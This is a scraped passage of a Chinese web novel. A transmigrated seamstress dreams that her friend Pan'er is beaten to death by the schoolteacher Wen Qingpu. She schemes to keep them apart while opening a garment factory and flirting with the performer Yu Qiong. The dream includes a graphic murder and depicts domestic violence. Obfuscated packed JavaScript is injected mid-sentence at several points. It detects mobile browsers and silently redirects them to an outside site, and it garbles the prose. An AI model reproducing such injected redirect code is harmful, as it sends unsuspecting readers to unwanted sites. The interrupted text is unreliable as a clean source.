方英看着盼儿,忍不住轻轻笑了一下,很快又收敛起笑容,再次和温清璞搭话:“咱村离乡里得有七八里地,温老师,你每天来回,是骑自行车吗?还是走路?” “我现在走着来回。”温清璞抬手扶了一下眼镜,脸上掠过一个腼腆的浅笑,“等过些日子开了工资,我再买自行车。” 盼儿转转眼珠,“清璞,我家有辆旧自行车,你不嫌弃的话,明天我推过来,你以后骑着上下学吧?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242721|197806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那多不好意思。”温清璞拒绝道:“不用,我走着就行。” “不用客气,反正我家那辆车也闲着没人骑。”盼儿笑嘻嘻说:“明天早上我就给你推过来!” 方英听不下去,“盼儿,既然温老师说了不用,你就别麻烦了。最近天气好,多走路呼吸新鲜空气、锻炼身体,其实比骑车强。” 她看向温清璞,“你说是吧?温老师。” 她暗暗觉得,盼儿对温清璞太过主动,这未必是件好事。 “对,我走路就行。”温清璞对盼儿说:“盼儿,谢谢你了。” 盼儿有点失落的样子,“那好吧。” “你住在我们村,工作单位在乡里,上下班的确不太方便。”方英微笑道:“要是以后乡中学,能在乡里给你安排个住处,或者你当初,被分到我们村上的中学当老师就好了。” “你们还没听说呢?”温清璞道:“这村里的中学马上就要黄了。” 方英、盼儿和枝枝都很吃惊,“啊?!” “我们村中学要黄了?怎么回事?” “教育局研究的决定,本乡几个村中学全部并校到乡里,过几天就要搬,以后学生上初中都到乡里去念。”他说道:“你们村那所中学校,马上就要空起来了。” 听了温清璞的话,方英若有所思,萌生一个念头:村里那所中学校,不应该空起来。 城里孙大姐的服装生意十分火爆,越做越大,过去一年在县城另外又开了几家服装店不说,她的亲戚还将生意做到了省城。 方英裁缝铺的成衣卖得极好,一年来处于供不应求的状态。孙大姐多次建议方英将裁缝铺做大,提高制衣产量,方英也一直有这个想法。 现在她考虑跟村里把学校的空房场租过来,用过去一年赚到的钱再购入几十台缝纫机,在村里多招些女工,将裁缝铺发展成小型服装厂。 她和盼儿、枝枝没有留下吃饭,和温清璞聊了一会儿便离开了老温家。 她们走到村东头,在学校周围转了转,数数学校有多少间房,畅想这些房间能摆多少台缝纫机,能容纳多少个工人工作,这些工人每天能缝制多少件衣服…… 于穹家之前的小草房也在村东头,和中学校离得很近。不过现在,那个小草房已经没有人住。 过去的一年,于穹在城里的歌舞厅兼职赚了不少钱。而且他和搭档去省城参加了两次二人转比赛,都拿到了极佳的好名次,现在他在剧院唱大轴,成为了剧团十几年来最年轻的台柱子。 于穹用赚到的钱,在村里买了一个宽敞亮堂的大砖房,一家五口风风光光搬了进去。 他的条件变好了,媒人自然上门。张大白话一年里往老于家跑了十几趟,不过他每次说媒都被于穹婉拒,只推说事业忙,不着急成家。 天色渐暗,方英和盼儿、枝枝离开中学校往家走,路过于穹家之前那个小草房。 枝枝说道:“我听说这房子,老于家要往出卖呢。” 盼儿笑了笑,“这小草房这么破,谁会买呀!” 方英驻足,望向那个草房,片刻后只觉天旋地转,意识模糊,眼前一黑晕了过去。 下一秒,她再次进入清晰而真实的梦境。 这次的梦,关于盼儿。 17. 第17章 劝分 方英这一次梦中的这段记忆,发生在原本的方英和陈广林结婚后。 梦里她背上背着一个几个月大的孩子,在厨房的灶台前忙碌,在烀猪食,陈广林在灶下添柴烧火。 他问:“英子,丘盼儿啥时候走啊?” 方英压低嗓子,“你小点声,别让盼儿听到了。”她面露愁容和无奈,“让她多住些日子吧。怎么也得等男方过来赔礼道歉,亲自上门来接,再让盼儿回去。” “老爷们儿要一直不来接,她就一直不走了!?”陈广林神情有些厌烦,声音依旧不小,“她都在咱家住好几天了……” 陈广林话音未落,盼儿从里屋走出来,轻声缓缓说道:“英子,明天我回家去了,我养的鸡鸭鹅,我得回去喂。” 方英想要挽留,陈广林却瞪了她一眼,她的心揪着,也只得对盼儿说:“那我明天送你回去。” 她看见梦里的盼儿头发并未剪短,依然是过腰的长辫子,两根改编成一根,垂在脑后。 盼儿的状态非常不好,腹部微微隆起,似乎怀了孕,整个人却更加消瘦许多。 她的脸上有淤青红肿的伤痕,水灵灵的眼中含着泪光,眼神没有半点欢欣愉悦,只剩忧愁悲伤和脆弱不安。 看着盼儿走回里屋的瘦弱背影,方英心情沉重,是一种无可奈何、爱莫能助的沉重。 她唉声叹气,用大勺搅动着锅里混沌的猪食,喃喃自语道:“我要是很能挣钱就好了。我要是有钱,我养盼儿一辈子。” “问题是你没钱啊!咱家就靠种地打那点粮食,哪有闲钱养活旁人。”陈广林板着脸,“我面朝黄土背朝天的,能养活你、养活咱自己儿子就不错了。” 方英背上的小孩子嘤嘤哼唧了两声,她解开腰上的绑带,把孩子抱到身前,抱在怀里颠了颠哄孩子。 陈广林朝里屋的方向望了一眼,走到方英身旁低声埋怨:“以后丘盼儿的事你别管,她娘家只围着她那个金贵的老弟转,爹妈都不管她不给她撑腰,轮得到你这个外人瞎操心吗?” “再说了,她明天一回去,还不是要和爷们儿继续过日子。你上次替她出头,得闹得里外不是人。” 方英愁苦气愤又难过,声音颤抖着说:“那男的动手打盼儿,我碰上了能不揍他吗!” “两口子打打闹闹多大点事儿,人家老婆汉子亲,还是和你亲啊?”陈广林一副满不在意、事不关己、不愿惹事的态度,“英子,以后你少管闲事。” 梦里的方英无奈、愁闷、担忧、焦虑,做梦的方英感同身受。 梦中的第二天早上,方英送盼儿慢慢走到村东头,在两扇高高的木板栅栏门前停下脚步。 她透过木板的间隙,向院子里望去,望见盼儿结婚后的家。 那个房子她认得,竟然就是于穹家之前的小草房。 小草房没怎么修缮,看上去仍然有些破陋。但院子周围,却垒起了高高的围墙,和木栅栏大门一起,把小小的草房圈在里面。 方英目送盼儿走进院子,她站在木栅栏门外,望着她一步步走向那个小草房。 盼儿的身影渐远,她隔着栅栏看她,觉得她仿佛走进一所监狱,迈入一座囚牢。 这个梦并不连续。 下个场景里,方英和陈广林的儿子长大了些,她正在家里给孩子喂小米粥。 鲁枝枝着急忙慌地跑来,哭着拉她走,“英子,快走!盼儿出事了!” 在梦里她又惊又怕,和枝枝狂奔到村东头,盼儿家的两扇木栅栏门大敞四开,院子里挤满好信儿的村民,呜呜泱泱议论纷纷: “唉呀,真惨呐!孩子还那么小,这可咋整啊?” “操,还他妈文化人儿呢!干力气活没能耐,打起媳妇儿来一点都不手软……” “谁说不是呢,装得人模狗样,我早就看他不像好饼,当初真不该让他留在咱们村!” …… 方英和枝枝挤过人群,挤进那个小草房里,屋里的惨象触目惊心,方英心痛欲裂,崩溃瘫坐在地。 盼儿的长辫子被系在炕桌的桌子腿上,面目血肉模糊,衣衫上尽是血污,瞪着双眼死不瞑目,外凸的眼球仿佛差一点就爆裂。 冰凉的炕上,还扔下个哇哇大哭的奶娃娃。 几名警察冲进来,揪出了杀害盼儿的罪魁祸首。 那个男人被逮捕时骂骂咧咧,声音温吞软绵绵,像是中气不足,说出的话却粗俗狠毒:“她是我媳妇儿,我打死她怎么了?” “怪那娘们儿自己又骚又浪,跑出去和野汉子说话,活该被我打……” 拉扯之中,那个男人的眼镜掉落在地,落在方英面前,很快被后面走过的人一脚踩碎。 方英瘫坐在地上,抬起头向上望去,看见那个男人眼镜之下的嘴脸。 那张脸不像个人,更像是狰狞邪恶的魔鬼,恐怖骇人、扭曲变态。 梦里的方英看清了,做梦的方英也看清了,那个魔鬼,正是温清璞! “英子,英子……” 她听见有人叫她,猛然从梦中惊醒,睁开眼睛看见唤她的人不是别人,正是盼儿。 盼儿露出笑脸,“英子,你总算醒啦!刚才做噩梦了吗?” 方英恍惚一瞬,回过神又悲又喜。 她从炕上坐起身,含着眼泪心疼地盯着盼儿细细看,伸手摸摸她的脸、摸摸她的头发,想要确定她是真实的,确定悲剧还没有发生,确定她还活着。 她轻唤了一声“盼儿”,紧紧拥抱住她,忍不住低声哭了起来。 盼儿不明所以,“怎么了姐们儿?”她抚了抚方英的背,“刚才做噩梦吓着了吗?” 鲁枝枝在一旁关心道:“英子,你是不是身体不舒服?你在于穹家草房门前突然晕倒,把我俩都吓坏了。” “对,枝枝把你背回家来的。”盼儿柔声问道:“英子,你没事吧?” “我没事。”方英嘴上说没事,其实仍然因为方才梦中属于原本方英的那段记忆而惊魂未定。 她松开拥抱,眼里闪着泪花看向盼儿,郑重而坚决地对她说:“盼儿,你要远离温清璞,千万不能和他在一起。” 她的语气,像在告诫她、叮嘱她,甚至是恳求她。 盼儿发笑,纳闷道:“英子,你怎么突然冒出这么句话?”她眼中荡漾着娇羞,“我为啥不能和他在一起?” “温清璞不是好人!”方英情绪激动,咬牙切齿地愤恨道:“他有疑心病,是家暴男,会打女人。” “你胡说什么?”盼儿完全不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242722|197806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信,收起笑容略有不悦,“你今天才见了清璞第一面,咋就知道他不是好人?” “人家温文尔雅、文质彬彬的,哪里像会打女人的那种人啊。”她嗔怪道:“英子,你是不是睡毛愣了?这些是你刚才梦见的吗?” “我……”方英想要解释,却又将话咽了回去。 因为她觉得,若她说出,她本是来自未来时代的袁柔、魂穿成如今的方英、并在梦中觉醒原本方英记忆等等一系列事情,恐怕只会被当成中邪了在说疯话。 半晌后她含糊说了句:“我看他的面相看出来的。” “你啥时候又懂看人面相了?!”盼儿无语地笑了一下,“看面相判断性格是不准的,不能以貌取人。” 她一脸花痴,“再说了,清璞相貌堂堂、五官端正,我看他面相很好呢。” 方英苦闷无奈,一时想不到合理有效的说辞,只是紧紧攥住盼儿的手,干巴巴地重申道:“盼儿你要相信我,温清璞真的是坏人,你不要和他接触。” 盼儿依然不以为意,鼓鼓嘴没有回应什么。 鲁枝枝在一旁说道:“盼儿,不怪英子看不上姓温那小子,我瞅他也不太行。” 盼儿诧异,“你又为啥觉得人家不行啊?” “你看他那小身板儿,太单薄了。”枝枝撇撇嘴,一脸嫌弃道:“种地收粮食,我估计他都扛不动袋子!不用多说,一百斤麻袋估计就给他压垮了!” “哎呀!”盼儿辩驳道:“清璞哪是那干粗活的人啊,人家是教书的老师,用不着种地扛袋子。” 方英深深叹了一口气,她明白盼儿现在处于恋爱脑上头阶段,想让她对温清璞祛魅下头,属实难办。 但她一定要办,一定要避免梦中的悲剧发生。 她看着盼儿,认真问道:“盼儿,咱们是好姐们儿,你跟我说实话,你究竟喜欢温清璞什么?” 盼儿两腮微红,有点扭捏地开口:“我喜欢……他戴眼镜。” 方英很意外,眉头紧皱,十分不屑道:“眼镜是啥稀罕物哇!?” “眼镜哪是一般人能戴的呀!得是文化人儿才能戴眼镜呢。”盼儿说道:“你瞧咱村这些人,男女老少,哪有一个戴眼镜的。” “那是因为咱村这些人眼睛都健康,经常户外劳动不近视!所以用不着戴眼镜。” 方英未经思考,脱口而出说道:“等再过个几十年,电子产品普及了,近视率大幅上涨,到时候小孩子都戴眼镜,想不戴都不行!” 她说完,又意识到讲这后半句没有意义。 盼儿固执道:“反正我就是喜欢清璞,他有文化,是师专毕业的大学生,很了不起。” 方英迫使自己冷静思考,她明白温清璞的眼镜,使得盼儿看他时加了一层滤镜。盼儿爱慕他,归根结底是出于对知识分子的崇拜。 这个年代的师专院校属于大专,但当下教育资源稀缺、高学历人才紧俏,温清璞这个外来的大专生,在盼儿心里,或许不亚于袁柔那个时代的一位留学归国的博士。 盼儿喜欢温清璞,用袁柔那个时代的话讲,属于是智性恋。 方英暗自发誓,一定要阻拦盼儿和温清璞在一起。 至于如何阻拦,她心中也已初步有了主意。 18. 第18章 暧昧 方英做了那个关于盼儿的梦之后,裁缝铺接了平时两倍的订单,工作量激增。 她出台了一个硬性规定,最近任何人不得迟到早退,无正当理由不得请假。 姑娘们赶制成衣,每天从早忙到黑,周末也要来加班,干得热火朝天。当然,加班费也非常丰厚。 方英这么做,绝不是想要压榨劳动力,或者干事业突然激进,她只是想最大限度缩减盼儿的休闲时间。 她希望盼儿全心投入繁忙工作,没有精力去和温清璞接触,对他头脑发热的爱慕能够渐渐降温。 方英清楚,她的做法是愚笨的,并且未必奏效。但她暂时尚未想到特别有力的对策,让盼儿认清温清璞的真面目。 所以她只能先笨拙地守着盼儿、看着盼儿、让盼儿在她眼皮底下,一边不断对盼儿说温清璞的坏话,一边慢慢想其他的办法。 这天,裁缝铺里姑娘们有的在踩缝纫机、有的在裁剪布料、有的在熨烫做好的衣服,各司其职,忙忙碌碌。 方英坐在桌前,拿着直尺和笔,在大纸上绘制春夏新款连衣裙的设计图样。 她正低着头专心致志地画图,耳边传来干净清澈的声音:“方裁缝,你好认真啊!” 她抬起头,看见于穹穿着件蓝色牛仔外套,脸上戴了一副墨镜,不知什么时候来的,搬了凳子坐在她旁边。 方英欣喜道:“你来了呀!” 于穹点了一下头,摘下墨镜对她粲然一笑,眼神深邃明亮,露出的牙齿整齐亮白,整个人阳光清爽又英俊潇洒。 他带来一个小手提包,拉开拉链里面全是眼镜,有各色墨镜,也有无色的日常镜,共计上百副。 “英子,你让我在城里捎回来的眼镜,你看买这些可以吗?” 方英将几副不同款的眼镜拿在手上看,又换着上脸试戴,露出满意的笑,“可以,很好。” 于穹纳闷,“英子,你买这么多眼镜,做什么用?” 方英没有如实过多解释,“噢,眼镜属于流行时尚单品,我买来给裁缝铺姑娘们戴着玩。” “这里也有很多男款的,你喜欢的话,拿几副去换着戴。” “不用,”于穹拿过他方才戴的那副浅茶色□□镜,“我有这一副就够了。” “好吧。” 方英将买眼镜的钱给了于穹,闲聊几句后再次低下头,继续画她的服装设计图。 过了一会儿,她意识到于穹仍然没有走,抬头看向他问道:“你还有什么事吗?” 他想了一下说:“我想再做件衬衫穿。” 方英指了指一旁架子上挂的一排男式衬衫,“那些都是已经做好还没发走的衬衫成衣,你直接挑一件吧。” “我想让你帮我量身做。”于穹的目光微微闪烁,似乎藏着隐隐的欢喜,“过去这一年,我的衣服都是你亲自给我量身定做的。” 他这话不假,方英的裁缝铺成立以来,他的衣服都是找她来做。而且这一年,他赚钱不少,手头逐渐宽裕,找她做了很多件新衣服。 “那你去选款布料就行。”方英看了看于穹,“上个月我刚给你做过皮夹克,当时量的尺寸都记在本子上,你没变胖也没变瘦,不需要再量一遍了。” “皮夹克是套在外面的,衬衫得贴身穿,尺寸不一样吧。”他执着道:“英子,你还是再帮我量一遍吧?” 他的语气诚恳中带着点不讨人厌的难缠,竟好似在哄她。 方英无奈又温柔地笑着说:“我现在忙着呢。” “我不急,我可以等你忙完。”于穹随手拿过一旁书架上的一本杂志,在桌上摊开,“你忙你的,我正好在这看会儿书。” 方英嘴角泛着若有似无的柔和笑意,拿笔继续画图,此刻却静不下心来。 她轻瞄身旁的于穹一眼,发现他正在看她,根本没在看书。她的视线扫向桌上摊开的杂志,看见上面那篇文章的标题是《月经与妇女健康》。 她忍俊不禁,放下笔对他轻轻笑道:“站起来吧,把外套脱了,我帮你量尺寸。” 她拿来软尺,测量了他的肩宽、袖长、腰围,量胸围时感觉他好像憋着气,她说:“你自然呼吸就好,不然量出来的尺寸不准。” 他轻轻应了一声,但呼吸的节奏依然不受控制地有些混乱。 他个子比她高一头,垂着眼眸盯着她看。他喜欢看她认真的样子,每次她帮他量身的时候,他都会这样看她,然后思绪飞扬,浮想联翩。 他常常庆幸,她无法知道他头脑里在想些什么。 比如她将软尺绕过他的腰,帮他量腰围的时候,他会想要顺势把她搂进怀里。 比如此刻,他正在想,如果去到一个只有他们两个人的房间,他把身上这件衬衫和里面的背心也脱掉,让她贴身测量,量得的尺寸估计会更准确。 方英将软尺拉紧,默默记下了尺寸数字,却没有立马松开软尺,目光落在他随着呼吸起伏的健美胸膛。 她鬼神神差、不由自主地将手轻抚上他左侧胸口,掌心隔着衣服感受到他强烈的心跳。 时间过去一秒、两秒…… 她抬眸迎上他的视线,看到他暗含深情的炙热眼神,她一瞬间便脸红心跳、小鹿乱撞,甚至有点不知所措。 “可以了,尺寸都量好记下了。”方英快速收回软尺,神情略不自然,“你走吧,我要忙了。” 于穹嘴角擒着笑意,拿起牛仔外套想要穿上,外套的口袋里却掉出一个铁皮小圆盒,咔一声掉在地上。 他俯身将圆盒捡起,塞到方英手里,凑近她耳边轻声说了句:“送给你的。”便转身快步离开了裁缝铺。 方英站在原地,欢喜自心底萌生,在眼波里荡漾。 过去的一年里,他常会送她小礼物,他们相处时,也常会有类似今天这样令人心动的暧昧瞬间。 但她和他的关系,只停留在暧昧,谁都没有捅破那层窗户纸。 鲁枝枝走过来,一把拿过方英手里的铁皮小圆盒,“这啥好东西?雪花膏啊!” “啊,于穹给我……”方英停顿了一下,“给我捎的。” “得了吧!是他给你买的吧?”鲁枝枝完全不信,大着嗓门说道:“他送的就他送的呗,这有啥可瞒的。” “英子,于穹对你有意思,谁看不出来呀?!” 裁缝铺里的其他姑娘听见鲁枝枝的话,纷纷停下手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250373|197806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中的活儿,含着笑八卦地向方英这边张望。 方英尴尬无奈地一笑,随后收敛起笑容,高声说道:“来,大伙儿休息一会儿,都过来一下。” 姑娘们走过来,方英将提包里的上百副眼镜摆在桌上,“大家最近工作辛苦,这些眼镜是在城里买的,发给大家当福利小奖品。” “每个人来拿10副,可以自己戴,也可以分给家人朋友。” 有人选了咖色墨镜,“英子,这□□镜真时髦,和电影明星戴的一样!”将墨镜戴上脸,咯咯笑道:“我戴上,感觉我也成名人了!” 方英点头笑着夸赞:“漂亮,时尚!” 有人挑了几副大镜片无色眼镜,“英子姐,我多拿几副这样的。” “等秋天打麦子、打黄豆,暴土扬长灰尘大,给我爸妈戴着防灰。” 方英眼前一亮,“有道理诶,早知道应该多买些这种的,实用。” 她还真没考虑到,这批眼镜除了作为时尚单品,还能用作实用工具,起到类似护目镜的作用。 姑娘们挑选各自想要的眼镜,说说笑笑,都很高兴。 只有丘盼儿站在最后面,表情微微不悦。 方英走到她面前,“盼儿,你怎么不来挑眼镜?” “我不稀得挑。”盼儿眨了眨眼,撅着嘴道:“人家清璞的眼镜不一样,比这些好多了。” 她因为方英最近频繁说温清璞的坏话而有些不快。 她喜欢温清璞戴眼镜,喜欢他是村里唯一一个戴眼镜的人,现在方英买来大批眼镜分发,她莫名感觉到了一丝挑衅意味。 “这些眼镜的价格,未必比温清璞的眼镜便宜。”方英微微笑道:“眼镜本来就不是什么触不可及的高端东西。” “文化人可以戴眼镜,庄稼汉也可以戴,男女老少只要喜欢、只有需要,都可以戴眼镜。” 她柔声劝说:“盼儿,没必要因为一个人戴眼镜,就觉得他了不起。同样也不能因为一个人有文化,就认定他是好人,温清璞他……” 盼儿气哼哼地打断:“你别说了,我不想听。” 方英轻轻叹了口气,无奈地摇了摇头。 这天之后,走在村里经常会看到戴眼镜的人。 有人追求时髦凹造型会戴,有人嫌日头毒遮阳光会戴,有人下地割草防小飞虫会戴…… 在这个村里,眼镜从文化人儿专属,变成了大众寻常物件。 方英不知道这样一来,能不能让盼儿对温清璞和他的眼镜祛魅一点点,哪怕一点点也好。 村中学搬去乡里后,学校空了出来,方英跟村委会把学校的空房场租了过来。 几天后,几十台缝纫机运进村里,运进学校的空教室。方英在村里又招了几十名妇女做工人,有大姑娘、小媳妇,也有婶子、大姨,她们共同的特点,是都朴实又勤劳。 方英跑了好几趟乡镇和县里,顺利办好手续,她的裁缝铺,正式升级为小型服装厂。 父亲提议搞一场开业庆典,请乡亲们看二人转热闹热闹,方英觉得可行。 于是她去找了于穹,请他帮忙联系城里的剧团,打算在开业庆典那天,雇演员来村里唱二人转。 19. 第19章 庆典 服装厂开业这天,天气不错,阳光晴朗,只是有风。 庆典在原村中学校,也就是现在的服装厂院里举行。 横幅彩旗招展,二人转戏台搭好,乡亲们搬来板凳,聚坐在院子里拉拉家常、侃侃大山、说说笑笑,等待庆典开始。 这个时节春耕刚结束,人们经历了一段日子的农忙劳作,身体疲倦、心情乏味,十分需要一场热闹的娱乐活动来重振精神。 听说老方家服装厂开业庆典,从城里剧团请了一伙儿二人转演员来演出,村民们无不兴奋激动,全村男女老少几乎全都来了。 几挂鞭一齐点燃,噼啪震天响,庆典正式开始。 老村长上台讲话,先夸方英聪明能干,又夸方万春教女有方,再夸服装厂女工们妇女能顶半边天,最后夸政策好。 村长讲完后,台下有村民喊:“方木匠,你也上台给大伙儿讲几句呗!” 方万春坐在村民中间,乐呵呵道:“你也说了我是木匠,今天咱这是服装厂开业,裁缝是我老姑娘方英!这厂子是她办起来的。” 他表情无比自豪,眼里闪着骄傲,对方英说:“英子,你上去讲几句!” 妇女们纷纷鼓掌,“英子,给大伙儿说两句!” “英子姐,上台讲话吧!” “小方英儿,别磨不开,上去给大家伙儿说说!” …… 方英被推上台,台下一张张质朴的脸带着发自内心的笑容,目光齐刷刷看向她。 她一瞬间还真有些紧张,不过这种紧张很快缓解,因为她清楚,今天这个场合,她对乡亲们,只要真诚地说些真心话就好。 她笑着开口:“非常感谢大家来参加服装厂的开业庆典!” “我和村里的姑娘们一起,从裁缝铺做起,现在升级成服装厂。这厂子能办起来,绝对不是我方英一个人的功劳。” 她看向台下,“我要感谢我爸我妈,感谢我的好姐们儿盼儿和枝枝,也要感谢所有和我一起工作的女工。” 她从一旁忙碌准备开演的二人转演员中,搜寻到于穹的身影,望着他微笑了一下说:“我还要感谢,一直坚定支持我鼓励我的人。” 他面带笑意回望她,眼神中除了单纯的欣赏,还有清澈的喜欢。 方英继续讲道:“服装厂刚成立,生意想要做大做强,未来还有很远的路要走。” “我一定会和各位姐姐妹妹、婶婶姨姨一起,努力拼搏,创造辉煌!” 台下掌声雷动,妇女们干劲十足,眼中燃起充满希望的光彩。男人们也纷纷投来赞许佩服的目光。 “我就说这么多。”方英笑了笑,“接下来请大家看戏!” 一对演员登台。 乐队伴奏的乐声还未响起,一阵隆隆噪声由远及近,陈广林的摩托车开进院里,载着赵玉娇呼啸而来。 他和方英分手已经一年多,虽然当时闹得很不愉快,但远没达到彼此结仇的地步。今天这里有二人转看,他当然要来凑热闹。 台上欢快的小帽开演。 方英坐回台下的座位,隔着人群朝晚来的陈广林和赵玉娇望了一眼,对身旁的鲁枝枝低声问道:“他们俩现在好上了吗?” “不太清楚。不过最近确实经常看到,赵玉娇坐陈广林的屁驴子满村乱窜。咱厂子招工,别的姑娘都来报名,赵玉娇也没来。” 枝枝鄙夷道:“她那人就那样吧,喜欢虚呼有钱男的,整得不清不楚的。去年秋天扒苞米,盼儿还看见,黄眼耗子在苞米地里咯吱赵玉娇呢。” 方英吃惊,皱眉道:“还有这事?!盼儿亲眼看到的?” 她转头看向长条板凳的另一侧,才发现盼儿坐的位置不知何时空了起来,“盼儿呢?” 她和枝枝张望一圈,瞧见盼儿挪去了温清璞旁边,正用手托着下巴,看着他美滋滋地乐。 方英脸色不悦,站起身想要挤过人群去拉盼儿回来,却被鲁枝枝阻止。 “算了吧!”枝枝将方英按回板凳上,“英子,你别管她了。她就相中那个外来的文化人儿了,现在脑袋正热着呢,十头牛都拉不回来!” 方英揪心愁闷,一时没有回话。 鲁枝枝思索着继续说道:“其实他俩还挺般配的。” “温清璞体格单薄,盼儿也干巴瘦;盼儿长得很好看,温清璞模样也不孬;温清璞是老师,盼儿初中毕业,在咱村姑娘里也算有文化的。” “那人看着温文尔雅挺文明的,他俩以后要是结婚了,他估计能对盼儿好。” 方英笃定道:“他那是装的,是假象。” 她遥望盼儿和温清璞,看见两人举止亲近、相谈甚欢。她心里担忧难过,焦灼思考着如何尽早让温清璞暴露出真面目,阻止盼儿越陷越深。 包括于穹和荣艳娟在内,城里剧团一共来了五对二人转演员。五对演员轮番上台,在村里的演出从上午开始,竟然一直持续到黄昏还没结束。 热心人甚至拉了电线到院子里,安上灯泡照亮。 看戏的乡亲们真真是宁舍一顿饭,不舍二人转。 有些人中途跑回家取来杂粮饼,一边啃饼子,一边继续看演出。很多人片刻也不舍得离开,干脆饿着肚子,仰着脖子从头看到尾。带来的小孩子困了,也顾不上送回家去,直接让孩子趴在肩上睡,大人继续边看演出边乐呵。 天色越来越黑,除了昏暗的灯光,只剩夜空的星光。 乡亲们在万般不舍中,迎来演出的最后一个节目,于穹和荣艳娟走上台,唱了一出拉场戏《马前泼水》。 二人唱得好,演得妙,表演精彩绝伦。结束后台下观众拍手叫好,沉醉其中意犹未尽,纷纷道:“再来一段!再来一段吧!” “乡亲们太热情了!”荣艳娟在台上笑容灿烂,对于穹说:“这样吧弟儿,今天来到你们村了,别总咱俩唱了,我看不如叫个你们村的姑娘,上来和你唱段小帽吧?” 于穹轻笑道:“也行。” 他的目光扫向台下,向方英所在的方向看去,与她视线交汇。 方英看得懂,于穹眼神里的邀请之意,但她突然灵光一闪,心生一计。 她大方地站起来,没有往台上走,站在原地说道:“于穹是优秀的二人转演员,也是我们村最俊的小伙子。这么出色的男青年,当然得配最好的姑娘。” “也就是我们村的……”她伸手指向人群的后排,大声说出:“丘盼儿!” 盼儿坐在后排,眼神从旁边的温清璞身上移开,猛地抬起头,目瞪口呆。 鲁枝枝和之前裁缝铺的另外几个姑娘也十分诧异,她们知道方英一年来和于穹暧昧,不懂她此刻葫芦里卖的什么药。 方英大步绕到后排,拉盼儿站起来,拽着她走上台。然后在于穹错愕不解的目光中,把盼儿留在台上,自己却走下台,在台下带头鼓掌。 盼儿呆愣愣的,站在台上发懵。 于穹更是头脑混乱、心情复杂,不过他的敬业精神和专业素养,让他暂时收起情绪,在台上保持冷静。 他对盼儿道:“盼儿,今天风挺大的,咱俩唱段《放风筝》吧?应景。” 盼儿呆呆点头,“行。” 乐队即将奏乐,方英却在台下喊道:“《放风筝》唱的是姐姐妹妹春天踏青的事,没趣儿!” “你俩给我们唱段亲热点的吧?比如说《送情郎》、《猪八戒背媳妇》……”她故意起哄道:“或者拉着手来段情歌对唱也行!” 盼儿在台上涨红了脸,局促地小声说道:“那些我不会唱。” 于穹斩钉截铁道:“不唱其他的,就唱《放风筝》。” 乐队师傅们奏乐,二人在台上唱起《放风筝》,毫无默契,更无火花。 盼儿平时会哼几句二人转,但上了台紧张放不开,僵硬又别扭。于穹揣着心事,表演虽正常进行,但明眼人能看出他完全没唱出平时的水平。 方英无心看表演,悄悄观察着温清璞的反应。 她希望她说的那些话以及盼儿和于穹搭档表演,能够刺激到温清璞,让他的疑心病和暴力属性提前表露出来,进而让盼儿尽早对他死心。 台上唱罢,方英看温清璞却很平静,看不出什么情绪波动。演出散场,乡亲们各自回家,温清璞独自离开,盼儿则和妹妹们一起离开。 方英看着温清璞的背影,心中涌起一种计策失败的失落感。她想,她要继续想办法,揭开那个斯文败类的假面。 她正出神,左手被一个温热有力的手掌紧紧握住,抬头一看竟是于穹。 他面无笑意,沉声对她说:“跟我走。” 说罢,便紧紧牵着她的手向前走,走出服装厂院子,没有送她回家,而是向村东头一直走。 夜色虽深深,星光却璀璨。 他步子很大,走在前面,她快步跟在后面,觉察到他情绪不对劲,开口说道:“你想和我说什么就说吧,别拉着我走了,再往前都要出村了。” 他终于停下脚步,回过头望向她,表情生气难过又委屈,“今晚和咱村的姑娘搭档,我想搭档的人是你,我想和你唱。” 方英轻轻说道:“可我不会唱二人转啊,也不太擅长唱歌。” “不是你会不会唱的问题!”于穹不解地质问道:“问题是,你为什么起哄开我和盼儿的玩笑?为什么要把别人推向我?” 她自知理亏,又不知如何解释,只说了句:“我有我的理由。” “我不清楚你有什么理由。”他眼里的难过和委屈更加深重,“我也不清楚,你到底是真不懂,还是在揣着明白装糊涂。” “你到底知不知道,我……”他语气激动,话说一半却停下来。 她望向他的眼眸,片刻后小心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 